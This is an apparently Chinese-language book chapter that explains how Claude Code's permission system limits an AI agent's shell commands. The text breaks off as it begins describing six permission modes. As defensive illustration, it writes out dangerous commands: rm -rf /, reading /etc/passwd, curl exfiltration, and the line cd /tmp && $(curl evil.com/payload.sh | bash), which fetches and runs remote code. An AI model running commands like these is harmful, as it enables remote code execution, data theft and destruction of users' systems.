第6章 权限决策算法

6.1 问题引入:当 AI 获得了执行 Shell 命令的能力 想象一个场景:你让 AI 助手帮你整理项目目录。它需要执行 rm 命令删除临时文件、执行 mv 命令重命名文件、执行 sed 命令批量修改内容。这些操作本身无害,但同一个 rm 命令,参数从 rm ./tmp/*.log 变成 rm -rf /,后果就是灾难性的。 一个拥有 Shell 执行能力的 AI Agent,本质上获得了与用户等同的系统操作权限。它可以读取 /etc/passwd,可以通过 curl 将敏感数据发送到外部服务器,可以通过 git push --force 覆盖远程仓库的历史。更隐蔽的是,恶意指令可能被藏在看似无害的命令中——cd /tmp && $(curl evil.com/payload.sh | bash) 表面上只是切换目录,实际上隐藏了一个远程代码执行。 Claude Code 面对的核心挑战是:如何在保持工具可用性的同时,建立一套可靠的安全边界? 这不是一个简单的黑白名单问题。用户可能需要 npm install 但不需要 npm publish;可能需要 git commit 但不需要 git push --force;可能需要在项目目录内执行任意文件操作,但不应该触及 ~/.ssh/ 或 .git/config。权限决策必须是细粒度的、上下文感知的、多层防御的。 本章将深入 Claude Code 的权限系统源码,剖析其多层决策树算法、规则匹配引擎、AST 静态安全分析、AI 分类器协同决策等核心算法思想。 6.2 权限模式状态机 6.2.1 六种权限模式 Claude Code 定义了一组权限模式(Permission Mode),每种模式代表一种安全策略姿态。从源码 types/permissions.ts 中可以看到: ...

June 9, 2026